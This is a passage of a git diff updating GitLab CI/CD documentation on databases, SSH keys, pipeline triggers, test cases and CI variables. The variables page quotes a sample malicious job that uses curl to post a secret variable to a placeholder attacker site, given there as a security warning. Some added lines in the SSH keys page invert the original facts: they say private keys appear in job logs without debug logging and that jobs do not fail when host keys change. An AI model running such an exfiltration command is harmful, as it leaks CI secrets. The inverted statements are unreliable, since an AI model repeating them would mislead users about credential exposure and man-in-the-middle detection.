# Using PostgreSQL
-As many applications depend on PostgreSQL as their database, you will
+As many applications depend on PostgreSQL as their database, you
eventually need it in order for your tests to run. Below you are guided how to
do this with the Docker and Shell executors of GitLab Runner.
@@ -70,10 +70,10 @@ The next step is to create a user, so sign in to PostgreSQL:
sudo -u postgres psql -d template1
```
-Then create a user (in our case `runner`) which will be used by your
+Then create a user (in our case `runner`) which is used by your
application. Change `$password` in the command below to a real strong password.
-NOTE: **Note:**
+NOTE:
Be sure to not enter `template1=#` in the following commands, as that's part of
the PostgreSQL prompt.
@@ -106,7 +106,7 @@ psql -U runner -h localhost -d nice_marmot -W
```
This command explicitly directs `psql` to connect to localhost to use the md5
-authentication. If you omit this step, you'll be denied access.
+authentication. If you omit this step, you are denied access.
Finally, configure your application to use the database, for example:
@@ -124,4 +124,4 @@ convenience that runs on [GitLab.com](https://gitlab.com) using our publicly
available [shared runners](../runners/README.md).
Want to hack on it? Fork it, commit, and push your changes. Within a few
-moments the changes will be picked by a public runner and the job will begin.
+moments the changes are picked by a public runner and the job begins.
diff --git a/doc/ci/services/redis.md b/doc/ci/services/redis.md
index 77668d9104b..71d3ffb1c60 100644
--- a/doc/ci/services/redis.md
+++ b/doc/ci/services/redis.md
@@ -1,13 +1,13 @@
---
stage: Verify
group: Runner
-info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers
+info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments
type: reference
---
# Using Redis
-As many applications depend on Redis as their key-value store, you will
+As many applications depend on Redis as their key-value store, you
eventually need it in order for your tests to run. Below you are guided how to
do this with the Docker and Shell executors of GitLab Runner.
@@ -30,7 +30,7 @@ example:
Host: redis
```
-And that's it. Redis will now be available to be used within your testing
+And that's it. Redis is now available to be used within your testing
framework.
You can also use any other Docker image available on [Docker Hub](https://hub.docker.com/_/redis).
@@ -70,4 +70,4 @@ that runs on [GitLab.com](https://gitlab.com) using our publicly available
[shared runners](../runners/README.md).
Want to hack on it? Simply fork it, commit and push your changes. Within a few
-moments the changes will be picked by a public runner and the job will begin.
+moments the changes are picked by a public runner and the job begins.
diff --git a/doc/ci/ssh_keys/README.md b/doc/ci/ssh_keys/README.md
index a329331df08..a5410d53a95 100644
--- a/doc/ci/ssh_keys/README.md
+++ b/doc/ci/ssh_keys/README.md
@@ -1,7 +1,7 @@
---
stage: Verify
group: Continuous Integration
-info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers
+info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments
type: tutorial
---
@@ -36,7 +36,7 @@ with any type of [executor](https://docs.gitlab.com/runner/executors/)
`~/.ssh/authorized_keys`) or add it as a [deploy key](../../ssh/README.md#deploy-keys)
if you are accessing a private GitLab repository.
-The private key will not be displayed in the job log, unless you enable
+The private key is displayed in the job log, unless you enable
[debug logging](../variables/README.md#debug-logging). You might also want to
check the [visibility of your pipelines](../pipelines/settings.md#visibility-of-pipelines).
@@ -46,7 +46,7 @@ When your CI/CD jobs run inside Docker containers (meaning the environment is
contained) and you want to deploy your code in a private server, you need a way
to access it. This is where an SSH key pair comes in handy.
-1. You will first need to create an SSH key pair. For more information, follow
+1. You first need to create an SSH key pair. For more information, follow
the instructions to [generate an SSH key](../../ssh/README.md#generating-a-new-ssh-key-pair).
**Do not** add a passphrase to the SSH key, or the `before_script` will
prompt for it.
@@ -144,9 +144,9 @@ For accessing repositories on GitLab.com, you would use `git@gitlab.com`.
## Verifying the SSH host keys
It is a good practice to check the private server's own public key to make sure
-you are not being targeted by a man-in-the-middle attack. In case anything
-suspicious happens, you will notice it since the job would fail (the SSH
-connection would fail if the public keys would not match).
+you are not being targeted by a man-in-the-middle attack. If anything
+suspicious happens, you notice it because the job fails (the SSH
+connection fails when the public keys don't match).
To find out the host keys of your server, run the `ssh-keyscan` command from a
trusted network (ideally, from the private server itself):
@@ -165,12 +165,12 @@ Create a new [variable](../variables/README.md#gitlab-cicd-environment-variables
If you need to connect to multiple servers, all the server host keys
need to be collected in the **Value** of the variable, one key per line.
-TIP: **Tip:**
+NOTE:
By using a variable instead of `ssh-keyscan` directly inside
`.gitlab-ci.yml`, it has the benefit that you don't have to change `.gitlab-ci.yml`
if the host domain name changes for some reason. Also, the values are predefined
-by you, meaning that if the host keys suddenly change, the CI/CD job will fail,
-and you'll know there's something wrong with the server or the network.
+by you, meaning that if the host keys suddenly change, the CI/CD job doesn't fail,
+so there's something wrong with the server or the network.
Now that the `SSH_KNOWN_HOSTS` variable is created, in addition to the
[content of `.gitlab-ci.yml`](#ssh-keys-when-using-the-docker-executor)
@@ -209,4 +209,4 @@ that runs on [GitLab.com](https://gitlab.com) using our publicly available
[shared runners](../runners/README.md).
Want to hack on it? Simply fork it, commit and push your changes. Within a few
-moments the changes will be picked by a public runner and the job will begin.
+moments the changes is picked by a public runner and the job starts.
diff --git a/doc/ci/test_cases/img/test_case_list_v13_6.png b/doc/ci/test_cases/img/test_case_list_v13_6.png
new file mode 100644
index 00000000000..b5d89582558
--- /dev/null
+++ b/doc/ci/test_cases/img/test_case_list_v13_6.png
Binary files differ
diff --git a/doc/ci/test_cases/img/test_case_show_v13_6.png b/doc/ci/test_cases/img/test_case_show_v13_6.png
new file mode 100644
index 00000000000..bbd7601cf30
--- /dev/null
+++ b/doc/ci/test_cases/img/test_case_show_v13_6.png
Binary files differ
diff --git a/doc/ci/test_cases/index.md b/doc/ci/test_cases/index.md
new file mode 100644
index 00000000000..6385b1638ff
--- /dev/null
+++ b/doc/ci/test_cases/index.md
@@ -0,0 +1,80 @@
+---
+stage: Plan
+group: Certify
+info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments
+description: Test cases in GitLab can help your teams create testing scenarios in their existing development platform.
+type: reference
+---
+
+# Test Cases **(ULTIMATE)**
+
+> - [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/233479) in GitLab 13.6.
+> - [Feature flag removed](https://gitlab.com/gitlab-org/gitlab/-/issues/241983) in GitLab 13.7.
+
+Test cases in GitLab can help your teams create testing scenarios in their existing development platform.
+
+This can help the Implementation and Testing teams collaborate, because they no longer have to
+use external test planning tools, which require additional overhead, context switching, and expense.
+
+## Create a test case
+
+Users with Reporter or higher [permissions](../../user/permissions.md) can create test cases.
+
+To create a test case in a GitLab project:
+
+1. Navigate to **CI/CD > Test Cases**.
+1. Select the **New test case** button. You are taken to the new test case form. Here you can enter
+ the new case's title, [description](../../user/markdown.md), attach a file, and assign [labels](../../user/project/labels.md).
+1. Select the **Submit test case** button. You are taken to view the new test case.
+
+## View a test case
+
+You can view all test cases in the project in the Test Cases list. Filter the
+issue list with a search query, including labels or the test case's title.
+
+Users with Guest or higher [permissions](../../user/permissions.md) can view test cases.
+
+![Test case list page](img/test_case_list_v13_6.png)
+
+To view a test case:
+
+1. In a project, navigate to **CI/CD > Test Cases**.
+1. Select the title of the test case you want to view. You are taken to the test case page.
+
+![An example test case page](img/test_case_show_v13_6.png)
+
+## Edit a test case
+
+You can edit a test case's title and description.
+
+Users with Reporter or higher [permissions](../../user/permissions.md) can edit test cases.
+Users demoted to the Guest role can continue to edit the test cases they created
+when they were in the higher role.
+
+To edit a test case:
+
+1. [View a test case](#view-a-test-case).
+1. Select **Edit title and description** (**{pencil}**).
+1. Edit the test case's title or description.
+1. Select **Save changes**.
+
+## Archive a test case
+
+When you want to stop using a test case, you can archive it. You can [reopen an archived test case](#reopen-an-archived-test-case) later.
+
+Users with Reporter or higher [permissions](../../user/permissions.md) can archive test cases.
+
+To archive a test case, on the test case's page, select the **Archive test case** button.
+
+To view archived test cases:
+
+1. Navigate to **CI/CD > Test Cases**.
+1. Select **Archived**.
+
+## Reopen an archived test case
+
+If you decide to start using an archived test case again, you can reopen it.
+
+Users with Reporter or higher [permissions](../../user/permissions.md) can reopen test cases.
+
+To reopen an archived test case, on the test case's page, select **Reopen test case**.
diff --git a/doc/ci/triggers/README.md b/doc/ci/triggers/README.md
index 6fca482975c..2e7ec58f048 100644
--- a/doc/ci/triggers/README.md
+++ b/doc/ci/triggers/README.md
@@ -1,11 +1,11 @@
---
stage: Verify
group: Continuous Integration
-info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers
+info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments
type: tutorial
---
-# Triggering pipelines through the API
+# Triggering pipelines through the API **(CORE)**
Triggers can be used to force a pipeline rerun of a specific `ref` (branch or
tag) with an API call.
@@ -32,7 +32,7 @@ This also applies when using the `pipelines` or `triggers` keywords with the leg
A unique trigger token can be obtained when [adding a new trigger](#adding-a-new-trigger).
-DANGER: **Warning:**
+WARNING:
Passing plain text tokens in public projects is a security issue. Potential
attackers can impersonate the user that exposed their trigger token publicly in
their `.gitlab-ci.yml` file. Use [variables](../variables/README.md#gitlab-cicd-environment-variables)
@@ -56,7 +56,7 @@ and it creates a dependent pipeline relation visible on the
build_docs:
stage: deploy
script:
- - curl --request POST --form "token=$CI_JOB_TOKEN" --form ref=master https://gitlab.example.com/api/v4/projects/9/trigger/pipeline
+ - curl --request POST --form "token=$CI_JOB_TOKEN" --form ref=master "https://gitlab.example.com/api/v4/projects/9/trigger/pipeline"
only:
- tags
```
@@ -96,7 +96,7 @@ Read more about the [jobs API](../../api/job_artifacts.md#download-the-artifacts
## Adding a new trigger
Go to your
-**Settings âž” CI/CD** under **Triggers** to add a new trigger. The **Add trigger** button creates
+**Settings > CI/CD** under **Triggers** to add a new trigger. The **Add trigger** button creates
a new token which you can then use to trigger a rerun of this
particular project's pipeline.
@@ -109,12 +109,12 @@ overview of the time the triggers were last used.
## Revoking a trigger
You can revoke a trigger any time by going at your project's
-**Settings âž” CI/CD** under **Triggers** and hitting the **Revoke** button.
+**Settings > CI/CD** under **Triggers** and hitting the **Revoke** button.
The action is irreversible.
## Triggering a pipeline
-To trigger a job you need to send a `POST` request to GitLab's API endpoint:
+To trigger a job you need to send a `POST` request to the GitLab API endpoint:
```plaintext
POST /projects/:id/trigger/pipeline
@@ -126,7 +126,7 @@ branches or tags. The `:id` of a project can be found by
[querying the API](../../api/projects.md) or by visiting the **CI/CD**
settings page which provides self-explanatory examples.
-When a rerun of a pipeline is triggered, the information is exposed in GitLab's
+When a rerun of a pipeline is triggered, the information is exposed in the GitLab
UI under the **Jobs** page and the jobs are marked as triggered 'by API'.
![Marked rebuilds as on jobs page](img/builds_page.png)
@@ -143,7 +143,7 @@ By using cURL you can trigger a pipeline rerun with minimal effort, for example:
curl --request POST \
--form token=TOKEN \
--form ref=master \
- https://gitlab.example.com/api/v4/projects/9/trigger/pipeline
+ "https://gitlab.example.com/api/v4/projects/9/trigger/pipeline"
```
In this case, the project with ID `9` gets rebuilt on `master` branch.
@@ -164,7 +164,7 @@ need to add in project A's `.gitlab-ci.yml`:
build_docs:
stage: deploy
script:
- - "curl --request POST --form token=TOKEN --form ref=master https://gitlab.example.com/api/v4/projects/9/trigger/pipeline"
+ - 'curl --request POST --form token=TOKEN --form ref=master "https://gitlab.example.com/api/v4/projects/9/trigger/pipeline"'
only:
- tags
```
@@ -244,7 +244,7 @@ curl --request POST \
--form token=TOKEN \
--form ref=master \
--form "variables[UPLOAD_TO_S3]=true" \
- https://gitlab.example.com/api/v4/projects/9/trigger/pipeline
+ "https://gitlab.example.com/api/v4/projects/9/trigger/pipeline"
```
Trigger variables have the [highest priority](../variables/README.md#priority-of-environment-variables)
@@ -257,10 +257,10 @@ in conjunction with cron. The example below triggers a job on the `master`
branch of project with ID `9` every night at `00:30`:
```shell
-30 0 * * * curl --request POST --form token=TOKEN --form ref=master https://gitlab.example.com/api/v4/projects/9/trigger/pipeline
+30 0 * * * curl --request POST --form token=TOKEN --form ref=master "https://gitlab.example.com/api/v4/projects/9/trigger/pipeline"
```
-This behavior can also be achieved through GitLab's UI with
+This behavior can also be achieved through the GitLab UI with
[pipeline schedules](../pipelines/schedules.md).
## Legacy triggers
@@ -268,5 +268,13 @@ This behavior can also be achieved through GitLab's UI with
Old triggers, created before GitLab 9.0 are marked as legacy.
Triggers with the legacy label do not have an associated user and only have
-access to the current project. They are considered deprecated and will be
+access to the current project. They are considered deprecated and might be
removed with one of the future versions of GitLab.
+
+## Troubleshooting
+
+### '404 not found' when triggering a pipeline
+
+A response of `{"message":"404 Not Found"}` when triggering a pipeline might be caused
+by using a Personal Access Token instead of a trigger token. [Add a new trigger](#adding-a-new-trigger)
+and use that token to authenticate when triggering a pipeline.
diff --git a/doc/ci/troubleshooting.md b/doc/ci/troubleshooting.md
index 5dc1d3663c5..9cda1f14b01 100644
--- a/doc/ci/troubleshooting.md
+++ b/doc/ci/troubleshooting.md
@@ -1,7 +1,7 @@
---
stage: Verify
group: Continuous Integration
-info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers
+info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments
type: reference
---
@@ -197,6 +197,7 @@ latest commit yet. This might be because:
- GitLab hasn't finished creating the pipeline yet.
- You are using an external CI service and GitLab hasn't heard back from the service yet.
- You are not using CI/CD pipelines in your project.
+- You are using CI/CD pipelines in your project, but your configuration prevented a pipeline from running on the source branch for your merge request.
- The latest pipeline was deleted (this is a [known issue](https://gitlab.com/gitlab-org/gitlab/-/issues/214323)).
After the pipeline is created, the message updates with the pipeline status.
diff --git a/doc/ci/unit_test_reports.md b/doc/ci/unit_test_reports.md
index 0a1f0000969..2505e56356d 100644
--- a/doc/ci/unit_test_reports.md
+++ b/doc/ci/unit_test_reports.md
@@ -1,7 +1,7 @@
---
stage: Verify
group: Testing
-info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers
+info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments
type: reference
---
@@ -65,6 +65,39 @@ execution time and the error output.
![Test Reports Widget](img/junit_test_report.png)
+### Number of recent failures
+
+> - [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/241759) in GitLab 13.7.
+> - It's [deployed behind a feature flag](../user/feature_flags.md), disabled by default.
+> - It's disabled on GitLab.com.
+> - It's not recommended for production use.
+> - To use it in GitLab self-managed instances, ask a GitLab administrator to [enable it](#enable-or-disable-the-number-of-recent-failures). **(CORE ONLY)**
+
+WARNING:
+This feature might not be available to you. Check the **version history** note above for details.
+
+If a test failed in the project's default branch in the last 14 days, a message like
+`Failed {n} time(s) in {default_branch} in the last 14 days` is displayed for that test.
+
+#### Enable or disable the number of recent failures **(CORE ONLY)**
+
+Displaying the number of failures in the last 14 days is under development and not
+ready for production use. It is deployed behind a feature flag that is **disabled by default**.
+[GitLab administrators with access to the GitLab Rails console](../administration/feature_flags.md)
+can enable it.
+
+To enable it:
+
+```ruby
+Feature.enable(:test_failure_history)
+```
+
+To disable it:
+
+```ruby
+Feature.disable(:test_failure_history)
+```
+
## How to set it up
To enable the Unit test reports in merge requests, you need to add
diff --git a/doc/ci/variables/README.md b/doc/ci/variables/README.md
index c5eee2ed960..f4ca51be151 100644
--- a/doc/ci/variables/README.md
+++ b/doc/ci/variables/README.md
@@ -1,7 +1,7 @@
---
stage: Verify
group: Continuous Integration
-info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers
+info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments
type: reference
---
@@ -142,7 +142,7 @@ Here is a simplified example of a malicious `.gitlab-ci.yml`:
```yaml
build:
script:
- - curl --request POST --data "secret_variable=$SECRET_VARIABLE" https://maliciouswebsite.abcd/
+ - curl --request POST --data "secret_variable=$SECRET_VARIABLE" "https://maliciouswebsite.abcd/"
```
### Custom environment variables of type Variable
@@ -243,7 +243,7 @@ Some variables are listed in the UI so you can choose them more quickly.
| `AWS_DEFAULT_REGION` | Any | 12.10 |
| `AWS_SECRET_ACCESS_KEY` | Any | 12.10 |
-CAUTION: **Caution:**
+WARNING:
When you store credentials, there are security implications. If you are using AWS keys,
for example, follow their [best practices](https://docs.aws.amazon.com/general/latest/gr/aws-access-keys-best-practices.html).
@@ -259,7 +259,7 @@ To access environment variables, use the syntax for your runner's [shell](https:
|----------------------|------------------------------------------|
| bash/sh | `$variable` |
| PowerShell | `$env:variable` (primary) or `$variable` |
-| Windows Batch | `%variable%` |
+| Windows Batch | `%variable%`, or `!variable!` for [delayed expansion](https://ss64.com/nt/delayedexpansion.html), which can be used for variables that contain white spaces or newlines. |
### Bash
@@ -415,7 +415,7 @@ You can define per-project or per-group variables that are set in the pipeline e
We recommend using group environment variables to store secrets (like passwords, SSH keys, and credentials) for Premium users who:
- Do **not** use an external key store.
-- Use GitLab's [integration with HashiCorp Vault](../secrets/index.md).
+- Use the GitLab [integration with HashiCorp Vault](../secrets/index.md).
Group-level variables can be added by:
@@ -442,7 +442,7 @@ You can define instance-level variables via the UI or [API](../../api/instance_l
To add an instance-level variable:
-1. Navigate to your admin area's **Settings > CI/CD** and expand the **Variables** section.
+1. Navigate to your Admin Area's **Settings > CI/CD** and expand the **Variables** section.
1. Click the **Add variable** button, and fill in the details:
- **Key**: Must be one line, using only letters, numbers, or `_` (underscore), with no spaces.
@@ -590,7 +590,7 @@ variables](../../topics/autodevops/customize.md#application-secret-variables) ar
then available as environment variables on the running application
container.
-CAUTION: **Caution:**
+WARNING:
Variables with multi-line values are not supported due to
limitations with the Auto DevOps scripting environment.
@@ -798,7 +798,7 @@ deploy_staging:
- if: '$RELEASE =~ $STAGINGRELS'
```
-NOTE: **Note:**
+NOTE:
The available regular expression syntax is limited. See [related issue](https://gitlab.com/gitlab-org/gitlab/-/issues/35438)
for more details.
@@ -825,7 +825,7 @@ testvariable:
> Introduced in GitLab Runner 1.7.
-CAUTION: **Warning:**
+WARNING:
Enabling debug tracing can have severe security implications. The
output **will** contain the content of all your variables and any other
secrets! The output **will** be uploaded to the GitLab server and made visible
@@ -844,6 +844,50 @@ Before enabling this, you should ensure jobs are visible to
also [erase](../jobs/index.md#view-jobs-in-a-pipeline) all generated job logs
before making them visible again.
+### Restricted access to debug logging
+
+> - [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/213159) in GitLab 13.7.
+> - It's [deployed behind a feature flag](../../user/feature_flags.md), enabled by default.
+> - It's enabled on GitLab.com.
+> - It's recommended for production use.
+> - For GitLab self-managed instances, GitLab administrators can opt to [disable it](#enable-or-disable-restricted-access-to-debug-logging). **(CORE ONLY)**
+
+WARNING:
+This feature might not be available to you. Check the **version history** note above for details.
+
+With restricted access to debug logging, only users with
+[developer or higher permissions](../../user/permissions.md#project-members-permissions)
+can view job logs when debug logging is enabled with a variable in:
+
+- The [`.gitlab-ci.yml` file](#gitlab-ciyml-defined-variables).
+- The CI/CD variables set within the GitLab UI.
+
+WARNING:
+If you add `CI_DEBUG_TRACE` as a local variable to your runners, debug logs are visible
+to all users with access to job logs. The permission levels are not checked by Runner,
+so you should make use of the variable in GitLab only.
+
+#### Enable or disable Restricted access to debug logging **(CORE ONLY)**
+
+Restricted Access to Debug logging is under development but ready for production use.
+It is deployed behind a feature flag that is **enabled by default**.
+[GitLab administrators with access to the GitLab Rails console](../../administration/feature_flags.md)
+can opt to disable it.
+
+To enable it:
+
+```ruby
+Feature.enable(:restrict_access_to_build_debug_mode)
+```
+
+To disable it:
+
+```ruby
+Feature.disable(:restrict_access_to_build_debug_mode)
+```
+
+### Enable Debug logging
+
To enable debug logs (traces), set the `CI_DEBUG_TRACE` variable to `true`:
```yaml
diff --git a/doc/ci/variables/deprecated_variables.md b/doc/ci/variables/deprecated_variables.md
index 71e2b5b2e44..755e34fa5ca 100644
--- a/doc/ci/variables/deprecated_variables.md
+++ b/doc/ci/variables/deprecated_variables.md
@@ -1,7 +1,7 @@
---
stage: Verify
group: Continuous Integration
-info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers
+info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments
type: reference
---
@@ -17,7 +17,7 @@ To follow conventions of naming across GitLab, and to further move away from the
release.
Starting with GitLab 9.0, we have deprecated the `$CI_BUILD_*` variables. **You are
-strongly advised to use the new variables as we will remove the old ones in
+strongly advised to use the new variables as we might remove the old ones in
future GitLab releases.**
| 8.x name | 9.0+ name |
diff --git a/doc/ci/variables/predefined_variables.md b/doc/ci/variables/predefined_variables.md
index 055cb2f6a61..ba0a5e8f461 100644
--- a/doc/ci/variables/predefined_variables.md
+++ b/doc/ci/variables/predefined_variables.md
@@ -1,7 +1,7 @@
---
stage: Verify
group: Continuous Integration
-info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers
+info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments
type: reference
---
@@ -14,7 +14,7 @@ Some of the predefined environment variables are available only if a minimum
version of [GitLab Runner](https://docs.gitlab.com/runner/) is used. Consult the table below to find the
version of GitLab Runner that's required.
-NOTE: **Note:**
+NOTE:
Starting with GitLab 9.0, we have deprecated some variables. Read the
[9.0 Renaming](deprecated_variables.md#gitlab-90-renamed-variables) section to find out their replacements.
**To avoid problems with deprecated and removed variables in future releases, you are strongly advised to use the new variables.**
@@ -40,7 +40,7 @@ Kubernetes-specific environment variables are detailed in the
| `CI_COMMIT_REF_SLUG` | 9.0 | all | `$CI_COMMIT_REF_NAME` lowercased, shortened to 63 bytes, and with everything except `0-9` and `a-z` replaced with `-`. No leading / trailing `-`. Use in URLs, host names and domain names. |
| `CI_COMMIT_SHA` | 9.0 | all | The commit revision for which project is built |
| `CI_COMMIT_SHORT_SHA` | 11.7 | all | The first eight characters of `CI_COMMIT_SHA` |
-| `CI_COMMIT_BRANCH` | 12.6 | 0.5 | The commit branch name. Present in branch pipelines, including pipelines for the default branch. Not present in merge request pipelines. |
+| `CI_COMMIT_BRANCH` | 12.6 | 0.5 | The commit branch name. Present in branch pipelines, including pipelines for the default branch. Not present in merge request pipelines or tag pipelines. |
| `CI_COMMIT_TAG` | 9.0 | 0.5 | The commit tag name. Present only when building tags. |
| `CI_COMMIT_TITLE` | 10.8 | all | The title of the commit - the full first line of the message |
| `CI_COMMIT_TIMESTAMP` | 13.4 | all | The timestamp of the commit in the ISO 8601 format. |
@@ -49,6 +49,10 @@ Kubernetes-specific environment variables are detailed in the
| `CI_CONFIG_PATH` | 9.4 | 0.5 | The path to CI configuration file. Defaults to `.gitlab-ci.yml` |
| `CI_DEBUG_TRACE` | all | 1.7 | Whether [debug logging (tracing)](README.md#debug-logging) is enabled |
| `CI_DEFAULT_BRANCH` | 12.4 | all | The name of the default branch for the project. |
+| `CI_DEPENDENCY_PROXY_GROUP_IMAGE_PREFIX` | 13.7 | all | The image prefix for pulling images through the Dependency Proxy. |
+| `CI_DEPENDENCY_PROXY_SERVER` | 13.7 | all | The server for logging in to the Dependency Proxy. This is equivelant to `$CI_SERVER_HOST:$CI_SERVER_PORT`. |
+| `CI_DEPENDENCY_PROXY_PASSWORD` | 13.7 | all | The password to use to pull images through the Dependency Proxy. |
+| `CI_DEPENDENCY_PROXY_USER` | 13.7 | all | The username to use to pull images through the Dependency Proxy. |
| `CI_DEPLOY_FREEZE` | 13.2 | all | Included with the value `true` if the pipeline runs during a [deploy freeze window](../../user/project/releases/index.md#prevent-unintentional-releases-by-setting-a-deploy-freeze). |
| `CI_DEPLOY_PASSWORD` | 10.8 | all | Authentication password of the [GitLab Deploy Token](../../user/project/deploy_tokens/index.md#gitlab-deploy-token), only present if the Project has one related. |
| `CI_DEPLOY_USER` | 10.8 | all | Authentication username of the [GitLab Deploy Token](../../user/project/deploy_tokens/index.md#gitlab-deploy-token), only present if the Project has one related. |
@@ -64,6 +68,7 @@ Kubernetes-specific environment variables are detailed in the
| `CI_EXTERNAL_PULL_REQUEST_TARGET_BRANCH_NAME` | 12.3 | all | The target branch name of the pull request if [the pipelines are for external pull requests](../ci_cd_for_external_repos/index.md#pipelines-for-external-pull-requests). Available only if `only: [external_pull_requests]` or [`rules`](../yaml/README.md#rules) syntax is used and the pull request is open. |
| `CI_EXTERNAL_PULL_REQUEST_TARGET_BRANCH_SHA` | 12.3 | all | The HEAD SHA of the target branch of the pull request if [the pipelines are for external pull requests](../ci_cd_for_external_repos/index.md#pipelines-for-external-pull-requests). Available only if `only: [external_pull_requests]` or [`rules`](../yaml/README.md#rules) syntax is used and the pull request is open. |
| `CI_HAS_OPEN_REQUIREMENTS` | 13.1 | all | Included with the value `true` only if the pipeline's project has any open [requirements](../../user/project/requirements/index.md). Not included if there are no open requirements for the pipeline's project. |
+| `CI_OPEN_MERGE_REQUESTS` | 13.7 | all | Contains a comma-delimited list of up to 4 Merge Requests from the current source project and branch in the form `gitlab-org/gitlab!333,gitlab-org/gitlab-foss!11` |
| `CI_JOB_ID` | 9.0 | all | The unique ID of the current job that GitLab CI/CD uses internally |
| `CI_JOB_IMAGE` | 12.9 | 12.9 | The name of the image running the CI job |
| `CI_JOB_MANUAL` | 8.12 | all | The flag to indicate that job was manually started |
@@ -92,13 +97,15 @@ Kubernetes-specific environment variables are detailed in the
| `CI_MERGE_REQUEST_TARGET_BRANCH_SHA` | 11.9 | all | The HEAD SHA of the target branch of the merge request if [the pipelines are for merge requests](../merge_request_pipelines/index.md). Available only if `only: [merge_requests]` or [`rules`](../yaml/README.md#rules) syntax is used, the merge request is created, and the pipeline is a [merged result pipeline](../merge_request_pipelines/pipelines_for_merged_results/index.md). **(PREMIUM)** |
| `CI_MERGE_REQUEST_TITLE` | 11.9 | all | The title of the merge request if [the pipelines are for merge requests](../merge_request_pipelines/index.md). Available only if `only: [merge_requests]` or [`rules`](../yaml/README.md#rules) syntax is used and the merge request is created. |
| `CI_MERGE_REQUEST_EVENT_TYPE` | 12.3 | all | The event type of the merge request, if [the pipelines are for merge requests](../merge_request_pipelines/index.md). Can be `detached`, `merged_result` or `merge_train`. |
+| `CI_MERGE_REQUEST_DIFF_ID` | 13.7 | all | The version of the merge request diff, if [the pipelines are for merge requests](../merge_request_pipelines/index.md). |
+| `CI_MERGE_REQUEST_DIFF_BASE_SHA` | 13.7 | all | The base SHA of the merge request diff, if [the pipelines are for merge requests](../merge_request_pipelines/index.md). |
| `CI_NODE_INDEX` | 11.5 | all | Index of the job in the job set. If the job is not parallelized, this variable is not set. |
| `CI_NODE_TOTAL` | 11.5 | all | Total number of instances of this job running in parallel. If the job is not parallelized, this variable is set to `1`. |
| `CI_PAGES_DOMAIN` | 11.8 | all | The configured domain that hosts GitLab Pages. |
| `CI_PAGES_URL` | 11.8 | all | URL to GitLab Pages-built pages. Always belongs to a subdomain of `CI_PAGES_DOMAIN`. |
| `CI_PIPELINE_ID` | 8.10 | all | The instance-level ID of the current pipeline. This is a unique ID across all projects on GitLab. |
| `CI_PIPELINE_IID` | 11.0 | all | The project-level IID (internal ID) of the current pipeline. This ID is unique for the current project. |
-| `CI_PIPELINE_SOURCE` | 10.0 | all | Indicates how the pipeline was triggered. Possible options are: `push`, `web`, `schedule`, `api`, `external`, `chat`, `webide`, `merge_request_event`, `external_pull_request_event`, `parent_pipeline`, [`trigger`, or `pipeline`](../triggers/README.md#authentication-tokens) (renamed to `cross_project_pipeline` since 13.0). For pipelines created before GitLab 9.5, this is displayed as `unknown`. |
+| `CI_PIPELINE_SOURCE` | 10.0 | all | Indicates how the pipeline was triggered. Possible options are: `push`, `web`, `schedule`, `api`, `external`, `chat`, `webide`, `merge_request_event`, `external_pull_request_event`, `parent_pipeline`, [`trigger`, or `pipeline`](../triggers/README.md#authentication-tokens). For pipelines created before GitLab 9.5, this is displayed as `unknown`. |
| `CI_PIPELINE_TRIGGERED` | all | all | The flag to indicate that job was [triggered](../triggers/README.md) |
| `CI_PIPELINE_URL` | 11.1 | 0.5 | Pipeline details URL |
| `CI_PROJECT_DIR` | all | all | The full path where the repository is cloned and where the job is run. If the GitLab Runner `builds_dir` parameter is set, this variable is set relative to the value of `builds_dir`. For more information, see [Advanced configuration](https://docs.gitlab.com/runner/configuration/advanced-configuration.html#the-runners-section) for GitLab Runner. |
@@ -112,7 +119,7 @@ Kubernetes-specific environment variables are detailed in the
| `CI_PROJECT_TITLE` | 12.4 | all | The human-readable project name as displayed in the GitLab web interface. |
| `CI_PROJECT_URL` | 8.10 | 0.5 | The HTTP(S) address to access project |
| `CI_PROJECT_VISIBILITY` | 10.3 | all | The project visibility (internal, private, public) |
-| `CI_REGISTRY` | 8.10 | 0.5 | If the Container Registry is enabled it returns the address of GitLab's Container Registry. This variable includes a `:port` value if one has been specified in the registry configuration. |
+| `CI_REGISTRY` | 8.10 | 0.5 | If the Container Registry is enabled it returns the address of the GitLab Container Registry. This variable includes a `:port` value if one has been specified in the registry configuration. |
| `CI_REGISTRY_IMAGE` | 8.10 | 0.5 | If the Container Registry is enabled for the project it returns the address of the registry tied to the specific project |
| `CI_REGISTRY_PASSWORD` | 9.0 | all | The password to use to push containers to the GitLab Container Registry, for the current project. |
